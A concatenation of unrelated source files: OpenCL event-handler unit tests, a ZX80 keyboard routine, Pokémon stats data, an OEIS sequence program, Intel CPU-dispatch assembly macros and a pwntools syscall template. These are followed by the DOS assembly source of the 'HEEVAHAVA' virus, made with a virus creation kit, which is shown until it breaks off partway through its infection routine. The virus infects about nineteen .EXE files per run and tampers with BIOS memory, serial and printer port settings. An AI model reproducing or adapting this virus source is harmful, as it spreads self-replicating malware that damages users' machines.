event2->setStatus(CL_SUBMITTED);
}
TEST_F(AsyncEventsHandlerTests, WhenHandlerIsCreatedThenThreadIsNotCreatedByDefault) {
MockHandler myHandler;
EXPECT_EQ(nullptr, myHandler.thread.get());
}
TEST_F(AsyncEventsHandlerTests, WhenHandlerIsRegisteredThenThreadIsCreated) {
event1->setTaskStamp(CompletionStamp::notReady, 0);
EXPECT_FALSE(handler->openThreadCalled);
handler->registerEvent(event1.get());
EXPECT_TRUE(handler->openThreadCalled);
}
TEST_F(AsyncEventsHandlerTests, WhenProcessingAsynchronouslyThenBothThreadsCompelete) {
DebugManager.flags.EnableAsyncEventsHandler.set(true);
event1->setTaskStamp(CompletionStamp::notReady, CompletionStamp::notReady + 1);
event2->setTaskStamp(CompletionStamp::notReady, CompletionStamp::notReady + 1);
event1->addCallback(&this->callbackFcn, CL_SUBMITTED, &counter);
event2->addCallback(&this->callbackFcn, CL_SUBMITTED, &counter);
EXPECT_EQ(CL_QUEUED, event1->getExecutionStatus());
EXPECT_EQ(CL_QUEUED, event2->getExecutionStatus());
// unblock to submit
event1->taskLevel.store(0);
event2->taskLevel.store(0);
while (event1->getExecutionStatus() == CL_QUEUED || event2->getExecutionStatus() == CL_QUEUED) {
std::this_thread::yield();
}
EXPECT_EQ(CL_SUBMITTED, event1->getExecutionStatus());
EXPECT_EQ(CL_SUBMITTED, event2->getExecutionStatus());
context->getAsyncEventsHandler().closeThread();
}
TEST_F(AsyncEventsHandlerTests, WhenThreadIsDestructedThenGetThreadReturnsNull) {
handler->allowThreadCreating = true;
handler->openThread();
// wait for sleep
while (handler->transferCounter == 0) {
std::this_thread::yield();
}
std::unique_lock<std::mutex> lock(handler->asyncMtx);
lock.unlock();
handler->closeThread();
EXPECT_EQ(nullptr, handler->thread.get());
}
TEST_F(AsyncEventsHandlerTests, givenReadyEventWhenCallbackIsAddedThenDontOpenThread) {
DebugManager.flags.EnableAsyncEventsHandler.set(true);
auto myHandler = new MockHandler(true);
context->getAsyncEventsHandlerUniquePtr().reset(myHandler);
event1->setTaskStamp(0, 0);
event1->addCallback(&this->callbackFcn, CL_SUBMITTED, &counter);
EXPECT_EQ(static_cast<MockHandler *>(&context->getAsyncEventsHandler()), myHandler);
EXPECT_FALSE(event1->peekHasCallbacks());
EXPECT_FALSE(myHandler->openThreadCalled);
}
TEST_F(AsyncEventsHandlerTests, givenUserEventWhenCallbackIsAddedThenDontRegister) {
DebugManager.flags.EnableAsyncEventsHandler.set(true);
auto myHandler = new MockHandler(true);
context->getAsyncEventsHandlerUniquePtr().reset(myHandler);
UserEvent userEvent;
userEvent.addCallback(&this->callbackFcn, CL_COMPLETE, &counter);
EXPECT_TRUE(handler->peekIsListEmpty());
EXPECT_TRUE(handler->peekIsRegisterListEmpty());
EXPECT_TRUE(userEvent.peekHasCallbacks());
userEvent.decRefInternal();
}
TEST_F(AsyncEventsHandlerTests, givenRegistredEventsWhenProcessIsCalledThenReturnCandidateWithLowestTaskCount) {
int event1Counter(0), event2Counter(0), event3Counter(0);
event1->setTaskStamp(0, 1);
event2->setTaskStamp(0, 2);
event3->setTaskStamp(0, 3);
event2->addCallback(&this->callbackFcn, CL_COMPLETE, &event2Counter);
handler->registerEvent(event2.get());
event1->addCallback(&this->callbackFcn, CL_COMPLETE, &event1Counter);
handler->registerEvent(event1.get());
event3->addCallback(&this->callbackFcn, CL_COMPLETE, &event3Counter);
handler->registerEvent(event3.get());
auto sleepCandidate = handler->process();
EXPECT_EQ(event1.get(), sleepCandidate);
event1->setStatus(CL_COMPLETE);
event2->setStatus(CL_COMPLETE);
event3->setStatus(CL_COMPLETE);
}
TEST_F(AsyncEventsHandlerTests, givenEventWithoutCallbacksWhenProcessedThenDontReturnAsSleepCandidate) {
event1->setTaskStamp(0, 1);
event2->setTaskStamp(0, 2);
handler->registerEvent(event1.get());
event2->addCallback(&this->callbackFcn, CL_COMPLETE, &counter);
handler->registerEvent(event2.get());
auto sleepCandidate = handler->process();
EXPECT_EQ(event2.get(), sleepCandidate);
event2->setStatus(CL_COMPLETE);
}
TEST_F(AsyncEventsHandlerTests, givenSleepCandidateWhenProcessedThenCallWaitWithQuickKmdSleepRequest) {
event1->setTaskStamp(0, 1);
event1->addCallback(&this->callbackFcn, CL_COMPLETE, &counter);
handler->registerEvent(event1.get());
handler->allowAsyncProcess.store(true);
// break infinite loop after first iteartion
auto unsetAsyncFlag = [&](bool blocking, bool quickKmdSleep) {
handler->allowAsyncProcess.store(false);
return true;
};
EXPECT_CALL(*event1, wait(true, true)).Times(1).WillOnce(Invoke(unsetAsyncFlag));
MockHandler::asyncProcess(handler.get());
event1->setStatus(CL_COMPLETE);
}
TEST_F(AsyncEventsHandlerTests, WhenReturningThenAsyncProcessWillCallProcessList) {
Event *event = new Event(nullptr, CL_COMMAND_NDRANGE_KERNEL, 0, 0);
handler->registerEvent(event);
handler->allowAsyncProcess.store(false);
MockHandler::asyncProcess(handler.get());
EXPECT_TRUE(handler->peekIsListEmpty());
EXPECT_EQ(1, event->getRefInternalCount());
event->release();
}
|
;
; ZX80 Stdio
;
; ZX80 - z88dk internal keyboard decoding routine
;
; Stefano Bodrato - Jan 2013
;
;
; $Id: zx80_decode_keys.asm,v 1.3 2016/06/12 17:32:01 dom Exp $
;
SECTION code_clib
PUBLIC zx80_decode_keys
EXTERN zx81toasc
.zx80_decode_keys
LD D,$00
SRA B
SBC A,A
OR $26
LD L,$05
SUB L
.LOOP2
ADD A,L
SCF
RR C
JR C,LOOP2
INC C
RET NZ
LD C,B
DEC L
LD L,$01
JR NZ,LOOP2
LD HL,$006B ;KTABLE-1 ($007D for ZX81)
LD E,A
ADD HL,DE
call zx81toasc
ld l,a
ld h,0
ret
|
db 0 ; species ID placeholder
db 55, 65, 35, 85, 60, 30
; hp atk def spd sat sdf
db WATER, WATER ; type
db 190 ; catch rate
db 66 ; base exp
db NO_ITEM, BERRY ; items
db GENDER_F50 ; gender ratio
db 100 ; unknown 1
db 20 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/buizel/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_MEDIUM_FAST ; growth rate
dn EGG_GROUND, EGG_WATER_1 ; egg groups
; tm/hm learnset
tmhm DYNAMICPUNCH, HEADBUTT, CURSE, TOXIC, ROCK_SMASH, HIDDEN_POWER, SNORE, BLIZZARD, ICY_WIND, PROTECT, RAIN_DANCE, ENDURE, FRUSTRATION, IRON_TAIL, RETURN, DIG, MUD_SLAP, DOUBLE_TEAM, ICE_PUNCH, SWAGGER, SLEEP_TALK, SWIFT, REST, ATTRACT, FURY_CUTTER, SURF, STRENGTH, WHIRLPOOL, WATERFALL, ICE_BEAM
; end
|
; A123020: Expansion of (1 -5*x +5*x^2)/((1 -2*x)*(1 -4*x +x^2)).
; Submitted by Jamie Morken(s4)
; 1,1,2,5,14,43,142,493,1766,6443,23750,88045,327406,1219531,4546622,16958765,63272054,236096683,881049142,3287968813,12270563966,45793762763,170903438510,637817894125,2380363943686,8883629492011,33154137247142,123732885942125,461777339412494,1723376337490123,6431727742112542,24003534094089133,89582407560502166,334326094000435883,1247721964146274070,4656561753994725805,17378525034652759966,64857538350256575691,242051628297654066062,903348974702920735085,3371344270239150967334
lpb $0
sub $0,1
sub $2,$3
mul $2,2
add $3,$1
add $1,$3
add $1,$3
sub $3,1
lpe
mov $0,$2
div $0,2
add $0,1
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2019 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%ifndef _MULTIBINARY_ASM_
%define _MULTIBINARY_ASM_
%ifidn __OUTPUT_FORMAT__, elf32
%define mbin_def_ptr dd
%define mbin_ptr_sz dword
%define mbin_rdi edi
%define mbin_rsi esi
%define mbin_rax eax
%define mbin_rbx ebx
%define mbin_rcx ecx
%define mbin_rdx edx
%else
%define mbin_def_ptr dq
%define mbin_ptr_sz qword
%define mbin_rdi rdi
%define mbin_rsi rsi
%define mbin_rax rax
%define mbin_rbx rbx
%define mbin_rcx rcx
%define mbin_rdx rdx
%endif
%ifndef AS_FEATURE_LEVEL
%define AS_FEATURE_LEVEL 4
%endif
;;;;
; multibinary macro:
; creates the visable entry point that uses HW optimized call pointer
; creates the init of the HW optimized call pointer
;;;;
%macro mbin_interface 1
;;;;
; *_dispatched is defaulted to *_mbinit and replaced on first call.
; Therefore, *_dispatch_init is only executed on first call.
;;;;
section .data
%1_dispatched:
mbin_def_ptr %1_mbinit
section .text
mk_global %1, function
%1_mbinit:
;;; only called the first time to setup hardware match
call %1_dispatch_init
;;; falls thru to execute the hw optimized code
%1:
jmp mbin_ptr_sz [%1_dispatched]
%endmacro
;;;;;
; mbin_dispatch_init parameters
; Use this function when SSE/00/01 is a minimum requirement
; 1-> function name
; 2-> SSE/00/01 optimized function used as base
; 3-> AVX or AVX/02 opt func
; 4-> AVX2 or AVX/04 opt func
;;;;;
%macro mbin_dispatch_init 4
section .text
%1_dispatch_init:
push mbin_rsi
push mbin_rax
push mbin_rbx
push mbin_rcx
push mbin_rdx
lea mbin_rsi, [%2 WRT_OPT] ; Default to SSE 00/01
mov eax, 1
cpuid
and ecx, (FLAG_CPUID1_ECX_AVX | FLAG_CPUID1_ECX_OSXSAVE)
cmp ecx, (FLAG_CPUID1_ECX_AVX | FLAG_CPUID1_ECX_OSXSAVE)
lea mbin_rbx, [%3 WRT_OPT] ; AVX (gen2) opt func
jne _%1_init_done ; AVX is not available so end
mov mbin_rsi, mbin_rbx
;; Try for AVX2
xor ecx, ecx
mov eax, 7
cpuid
test ebx, FLAG_CPUID7_EBX_AVX2
lea mbin_rbx, [%4 WRT_OPT] ; AVX (gen4) opt func
cmovne mbin_rsi, mbin_rbx
;; Does it have xmm and ymm support
xor ecx, ecx
xgetbv
and eax, FLAG_XGETBV_EAX_XMM_YMM
cmp eax, FLAG_XGETBV_EAX_XMM_YMM
je _%1_init_done
lea mbin_rsi, [%2 WRT_OPT]
_%1_init_done:
pop mbin_rdx
pop mbin_rcx
pop mbin_rbx
pop mbin_rax
mov [%1_dispatched], mbin_rsi
pop mbin_rsi
ret
%endmacro
;;;;;
; mbin_dispatch_init2 parameters
; Cases where only base functions are available
; 1-> function name
; 2-> base function
;;;;;
%macro mbin_dispatch_init2 2
section .text
%1_dispatch_init:
push mbin_rsi
lea mbin_rsi, [%2 WRT_OPT] ; Default
mov [%1_dispatched], mbin_rsi
pop mbin_rsi
ret
%endmacro
;;;;;
; mbin_dispatch_init5 parameters
; 1-> function name
; 2-> base function
; 3-> SSE4_1 or 00/01 optimized function
; 4-> AVX/02 opt func
; 5-> AVX2/04 opt func
;;;;;
%macro mbin_dispatch_init5 5
section .text
%1_dispatch_init:
push mbin_rsi
push mbin_rax
push mbin_rbx
push mbin_rcx
push mbin_rdx
lea mbin_rsi, [%2 WRT_OPT] ; Default - use base function
mov eax, 1
cpuid
; Test for SSE4.1
test ecx, FLAG_CPUID1_ECX_SSE4_1
lea mbin_rbx, [%3 WRT_OPT] ; SSE opt func
cmovne mbin_rsi, mbin_rbx
and ecx, (FLAG_CPUID1_ECX_AVX | FLAG_CPUID1_ECX_OSXSAVE)
cmp ecx, (FLAG_CPUID1_ECX_AVX | FLAG_CPUID1_ECX_OSXSAVE)
lea mbin_rbx, [%4 WRT_OPT] ; AVX (gen2) opt func
jne _%1_init_done ; AVX is not available so end
mov mbin_rsi, mbin_rbx
;; Try for AVX2
xor ecx, ecx
mov eax, 7
cpuid
test ebx, FLAG_CPUID7_EBX_AVX2
lea mbin_rbx, [%5 WRT_OPT] ; AVX (gen4) opt func
cmovne mbin_rsi, mbin_rbx
;; Does it have xmm and ymm support
xor ecx, ecx
xgetbv
and eax, FLAG_XGETBV_EAX_XMM_YMM
cmp eax, FLAG_XGETBV_EAX_XMM_YMM
je _%1_init_done
lea mbin_rsi, [%3 WRT_OPT]
_%1_init_done:
pop mbin_rdx
pop mbin_rcx
pop mbin_rbx
pop mbin_rax
mov [%1_dispatched], mbin_rsi
pop mbin_rsi
ret
%endmacro
%if AS_FEATURE_LEVEL >= 6
;;;;;
; mbin_dispatch_init6 parameters
; 1-> function name
; 2-> base function
; 3-> SSE4_1 or 00/01 optimized function
; 4-> AVX/02 opt func
; 5-> AVX2/04 opt func
; 6-> AVX512/06 opt func
;;;;;
%macro mbin_dispatch_init6 6
section .text
%1_dispatch_init:
push mbin_rsi
push mbin_rax
push mbin_rbx
push mbin_rcx
push mbin_rdx
push mbin_rdi
lea mbin_rsi, [%2 WRT_OPT] ; Default - use base function
mov eax, 1
cpuid
mov ebx, ecx ; save cpuid1.ecx
test ecx, FLAG_CPUID1_ECX_SSE4_1
je _%1_init_done ; Use base function if no SSE4_1
lea mbin_rsi, [%3 WRT_OPT] ; SSE possible so use 00/01 opt
;; Test for XMM_YMM support/AVX
test ecx, FLAG_CPUID1_ECX_OSXSAVE
je _%1_init_done
xor ecx, ecx
xgetbv ; xcr -> edx:eax
mov edi, eax ; save xgetvb.eax
and eax, FLAG_XGETBV_EAX_XMM_YMM
cmp eax, FLAG_XGETBV_EAX_XMM_YMM
jne _%1_init_done
test ebx, FLAG_CPUID1_ECX_AVX
je _%1_init_done
lea mbin_rsi, [%4 WRT_OPT] ; AVX/02 opt
;; Test for AVX2
xor ecx, ecx
mov eax, 7
cpuid
test ebx, FLAG_CPUID7_EBX_AVX2
je _%1_init_done ; No AVX2 possible
lea mbin_rsi, [%5 WRT_OPT] ; AVX2/04 opt func
;; Test for AVX512
and edi, FLAG_XGETBV_EAX_ZMM_OPM
cmp edi, FLAG_XGETBV_EAX_ZMM_OPM
jne _%1_init_done ; No AVX512 possible
and ebx, FLAGS_CPUID7_EBX_AVX512_G1
cmp ebx, FLAGS_CPUID7_EBX_AVX512_G1
lea mbin_rbx, [%6 WRT_OPT] ; AVX512/06 opt
cmove mbin_rsi, mbin_rbx
_%1_init_done:
pop mbin_rdi
pop mbin_rdx
pop mbin_rcx
pop mbin_rbx
pop mbin_rax
mov [%1_dispatched], mbin_rsi
pop mbin_rsi
ret
%endmacro
%else
%macro mbin_dispatch_init6 6
mbin_dispatch_init5 %1, %2, %3, %4, %5
%endmacro
%endif
%if AS_FEATURE_LEVEL >= 10
;;;;;
; mbin_dispatch_init7 parameters
; 1-> function name
; 2-> base function
; 3-> SSE4_2 or 00/01 optimized function
; 4-> AVX/02 opt func
; 5-> AVX2/04 opt func
; 6-> AVX512/06 opt func
; 7-> AVX512 Update/10 opt func
;;;;;
%macro mbin_dispatch_init7 7
section .text
%1_dispatch_init:
push mbin_rsi
push mbin_rax
push mbin_rbx
push mbin_rcx
push mbin_rdx
push mbin_rdi
lea mbin_rsi, [%2 WRT_OPT] ; Default - use base function
mov eax, 1
cpuid
mov ebx, ecx ; save cpuid1.ecx
test ecx, FLAG_CPUID1_ECX_SSE4_2
je _%1_init_done ; Use base function if no SSE4_2
lea mbin_rsi, [%3 WRT_OPT] ; SSE possible so use 00/01 opt
;; Test for XMM_YMM support/AVX
test ecx, FLAG_CPUID1_ECX_OSXSAVE
je _%1_init_done
xor ecx, ecx
xgetbv ; xcr -> edx:eax
mov edi, eax ; save xgetvb.eax
and eax, FLAG_XGETBV_EAX_XMM_YMM
cmp eax, FLAG_XGETBV_EAX_XMM_YMM
jne _%1_init_done
test ebx, FLAG_CPUID1_ECX_AVX
je _%1_init_done
lea mbin_rsi, [%4 WRT_OPT] ; AVX/02 opt
;; Test for AVX2
xor ecx, ecx
mov eax, 7
cpuid
test ebx, FLAG_CPUID7_EBX_AVX2
je _%1_init_done ; No AVX2 possible
lea mbin_rsi, [%5 WRT_OPT] ; AVX2/04 opt func
;; Test for AVX512
and edi, FLAG_XGETBV_EAX_ZMM_OPM
cmp edi, FLAG_XGETBV_EAX_ZMM_OPM
jne _%1_init_done ; No AVX512 possible
and ebx, FLAGS_CPUID7_EBX_AVX512_G1
cmp ebx, FLAGS_CPUID7_EBX_AVX512_G1
lea mbin_rbx, [%6 WRT_OPT] ; AVX512/06 opt
cmove mbin_rsi, mbin_rbx
and ecx, FLAGS_CPUID7_ECX_AVX512_G2
cmp ecx, FLAGS_CPUID7_ECX_AVX512_G2
lea mbin_rbx, [%7 WRT_OPT] ; AVX512/06 opt
cmove mbin_rsi, mbin_rbx
_%1_init_done:
pop mbin_rdi
pop mbin_rdx
pop mbin_rcx
pop mbin_rbx
pop mbin_rax
mov [%1_dispatched], mbin_rsi
pop mbin_rsi
ret
%endmacro
%else
%macro mbin_dispatch_init7 7
mbin_dispatch_init6 %1, %2, %3, %4, %5, %6
%endmacro
%endif
;;;;;
; mbin_dispatch_sse_to_avx2_shani parameters
; derived from mbin_dispatch_init
; Use this function when SSE/00/01 is a minimum requirement
; 1-> function name
; 2-> SSE/00/01 optimized function used as base
; 3-> AVX or AVX/02 opt func
; 4-> AVX2 or AVX/04 opt func
; 5-> SHANI opt for GLM
;;;;;
%macro mbin_dispatch_sse_to_avx2_shani 5
section .text
%1_dispatch_init:
push mbin_rsi
push mbin_rax
push mbin_rbx
push mbin_rcx
push mbin_rdx
lea mbin_rsi, [%2 WRT_OPT] ; Default to SSE 00/01
mov eax, 1
cpuid
and ecx, (FLAG_CPUID1_ECX_AVX | FLAG_CPUID1_ECX_OSXSAVE)
cmp ecx, (FLAG_CPUID1_ECX_AVX | FLAG_CPUID1_ECX_OSXSAVE)
lea mbin_rbx, [%3 WRT_OPT] ; AVX (gen2) opt func
jne _%1_shani_check ; AVX is not available so check shani
mov mbin_rsi, mbin_rbx
;; Try for AVX2
xor ecx, ecx
mov eax, 7
cpuid
test ebx, FLAG_CPUID7_EBX_AVX2
lea mbin_rbx, [%4 WRT_OPT] ; AVX (gen4) opt func
cmovne mbin_rsi, mbin_rbx
;; Does it have xmm and ymm support
xor ecx, ecx
xgetbv
and eax, FLAG_XGETBV_EAX_XMM_YMM
cmp eax, FLAG_XGETBV_EAX_XMM_YMM
je _%1_init_done
lea mbin_rsi, [%2 WRT_OPT]
_%1_init_done:
pop mbin_rdx
pop mbin_rcx
pop mbin_rbx
pop mbin_rax
mov [%1_dispatched], mbin_rsi
pop mbin_rsi
ret
_%1_shani_check:
xor ecx, ecx
mov eax, 7
cpuid
test ebx, FLAG_CPUID7_EBX_SHA
lea mbin_rbx, [%5 WRT_OPT] ; SHANI opt func
cmovne mbin_rsi, mbin_rbx
jmp _%1_init_done ; end
%endmacro
;;;;;
; mbin_dispatch_base_to_avx512_shani parameters
; derived from mbin_dispatch_init6
; 1-> function name
; 2-> base function
; 3-> SSE4_2 or 00/01 optimized function
; 4-> AVX/02 opt func
; 5-> AVX2/04 opt func
; 6-> AVX512/06 opt func
; 7-> SHANI opt for GLM
; 8-> SHANI opt for CNL
;;;;;
%macro mbin_dispatch_base_to_avx512_shani 8
section .text
%1_dispatch_init:
push mbin_rsi
push mbin_rax
push mbin_rbx
push mbin_rcx
push mbin_rdx
push mbin_rdi
lea mbin_rsi, [%2 WRT_OPT] ; Default - use base function
mov eax, 1
cpuid
mov ebx, ecx ; save cpuid1.ecx
test ecx, FLAG_CPUID1_ECX_SSE4_2
je _%1_init_done ; Use base function if no SSE4_2
lea mbin_rsi, [%3 WRT_OPT] ; SSE possible so use 00/01 opt
;; Test for XMM_YMM support/AVX
test ecx, FLAG_CPUID1_ECX_OSXSAVE
je _%1_shani_check
xor ecx, ecx
xgetbv ; xcr -> edx:eax
mov edi, eax ; save xgetvb.eax
and eax, FLAG_XGETBV_EAX_XMM_YMM
cmp eax, FLAG_XGETBV_EAX_XMM_YMM
jne _%1_shani_check
test ebx, FLAG_CPUID1_ECX_AVX
je _%1_shani_check
lea mbin_rsi, [%4 WRT_OPT] ; AVX/02 opt
;; Test for AVX2
xor ecx, ecx
mov eax, 7
cpuid
test ebx, FLAG_CPUID7_EBX_AVX2
je _%1_init_done ; No AVX2 possible
lea mbin_rsi, [%5 WRT_OPT] ; AVX2/04 opt func
;; Test for AVX512
and edi, FLAG_XGETBV_EAX_ZMM_OPM
cmp edi, FLAG_XGETBV_EAX_ZMM_OPM
jne _%1_init_done ; No AVX512 possible
and ebx, FLAGS_CPUID7_EBX_AVX512_G1
cmp ebx, FLAGS_CPUID7_EBX_AVX512_G1
lea mbin_rbx, [%6 WRT_OPT] ; AVX512/06 opt
cmove mbin_rsi, mbin_rbx
;; Test for SHANI
xor ecx, ecx
mov eax, 7
cpuid
test ebx, FLAG_CPUID7_EBX_SHA
lea mbin_rbx, [%8 WRT_OPT] ; SHANI opt sse func
cmovne mbin_rsi, mbin_rbx
_%1_init_done:
pop mbin_rdi
pop mbin_rdx
pop mbin_rcx
pop mbin_rbx
pop mbin_rax
mov [%1_dispatched], mbin_rsi
pop mbin_rsi
ret
_%1_shani_check:
xor ecx, ecx
mov eax, 7
cpuid
test ebx, FLAG_CPUID7_EBX_SHA
lea mbin_rbx, [%7 WRT_OPT] ; SHANI opt sse func
cmovne mbin_rsi, mbin_rbx
jmp _%1_init_done ; end
%endmacro
%endif ; ifndef _MULTIBINARY_ASM_
|
<%
from pwnlib.shellcraft.amd64.linux import syscall
%>
<%page args="fromfd, from_, tofd, to, flags"/>
<%docstring>
Invokes the syscall linkat. See 'man 2 linkat' for more information.
Arguments:
fromfd(int): fromfd
from(char): from
tofd(int): tofd
to(char): to
flags(int): flags
</%docstring>
${syscall('SYS_linkat', fromfd, from_, tofd, to, flags)}
|
; HEEVAHAV.ASM -- HEEVAHAVA VIRUS
; Created with Nowhere Man's Virus Creation Laboratory v1.00/TASM
; Written by URNST KOUCH
; This is a spawning virus I decided to take to the limit,
; to step on the accelerator of the VCL, so to speak.
; HEEVAHAVA virus is a 'companion' .EXE infector which will attempt
; to infect almost 20 files anywhere on the disk every run. It will mess
; with low RAM, beep the speaker, disable COM port 1, entangle LPT1 and LPT2,
; nullify print screen and finally, when the disk is completely saturated
; with HEEVAHAVA virus it will display the msg, "Only heeva-hava's get stuck
; with the HEEVAHAVA virus!" Note: a 'heevahava' is a Pennsylvania
; Dutch pejorative. Colloquially, it was the name given to the farmhand
; given the job of holding the bull's pecker while semen was collected.
virus_type equ 2 ; Spawning Virus
is_encrypted equ 0 ; We're not encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label near
main proc near
mov ah,04Ah ; DOS resize memory function
mov bx,[finish - start / 0282h] ; BX holds # of para.
int 21h
mov sp,(finish - start) + 01100h ; Change top of stack
mov si,offset spawn_name ; SI points to true filename
int 02Eh ; DOS execution back-door
push ax ; Save return value for later
mov ax,cs ; AX holds code segment
mov ds,ax ; Restore data segment
mov es,ax ; Restore extra segment
mov cx,0013h ; Do 19 infections
search_loop: push cx ; Save CX
call search_files ; Find and infect a file
pop cx ; Restore CX
loop search_loop ; Repeat until CX is 0
mov dx,0064h ; First argument is 100
push es ; Save ES
mov ax,040h ; Set extra segment to 040h
mov es,ax ; (ROM BIOS)
mov word ptr es:[013h],dx ; Store new RAM ammount
pop es ; Restore ES
mov cx,0005h ; First argument is 5
jcxz beep_end ; Exit if there are no beeps
mov ax,0E07h ; BIOS display char., BEL
beep_loop: int 010h ; Beep
loop beep_loop ; Beep until --CX = 0
beep_end:
push es ; Save ES
mov ax,050h ; Set the extra segement to
mov es,ax ; the BIOS area
mov byte ptr [0000h],1 ; Set print screen flag to
pop es ; "printing," restore ES
mov si,0001h ; First argument is 1
push es ; Save ES
xor ax,ax ; Set the extra segment to
mov es,ax ; zero (ROM BIOS)
shl si,1 ; Convert to word index
mov word ptr [si + 03FEh],0 ; Zero COM port address
pop es ; Restore ES
mov bx,0001h ; First argument is 1
mov si,0002h ; Second argument is 2
push es ; Save ES
xor ax,ax ; Set the extra segment to
mov es,ax ; zero (ROM BIOS)
shl bx,1 ; Convert to word index
shl si,1 ; Convert to word index
mov ax,word ptr [bx + 0407h]; Zero COM port address
xchg word ptr [si + 0407h],ax; Put first value in second,
mov word ptr [bx + 0407h],ax; and second value in first!
pop es ; Restore ES
call infected_all
or ax,ax ; Did the function return zero?
je strt00 ; If equal, do effect
jmp end00 ; Otherwise skip over it
strt00: mov si,offset data00 ; SI points to data
mov ah,0Eh ; BIOS display char. function
display_loop: lodsb ; Load the next char. into AL
or al,al ; Is the character a null?
je disp_strnend ; If it is, exit
int 010h ; BIOS video interrupt
jmp short display_loop ; Do the next character
disp_strnend:
end00: pop ax ; AL holds return value
mov ah,04Ch ; DOS terminate function
int 021h
main endp
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
mov dx,offset root ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
mov dx,offset all_files ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
mov dx,offset up_dir ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
mov dx,offset exe_mask ; DX points to "*.EXE"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
exe_mask db "*.EXE",0 ; Mask for all .EXE files
traverse endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov di,bx ; DI points to the DTA
lea si,[di + 01Eh] ; SI points to file name
mov dx,si ; DX points to file name, too
mov di,offset spawn_name + 1; DI points to new name
xor ah,ah ; AH holds character count
transfer_loop: lodsb ; Load a character
or al,al ; Is it a NULL?
je transfer_end ; If so then leave the loop
inc ah ; Add one to the character count
stosb ; Save the byte in the buffer
jmp short transfer_loop ; Repeat the loop
transfer_end: mov byte ptr [spawn_name],ah; First byte holds char. count
mov byte ptr [di],13 ; Make CR the final character
mov di,dx ; DI points to file name
xor ch,ch ;
mov cl,ah ; CX holds length of filename
mov al,'.' ; AL holds char. to search for
repne scasb ; Search for a dot in the name
mov word ptr [di],'OC' ; Store "CO" as first two bytes
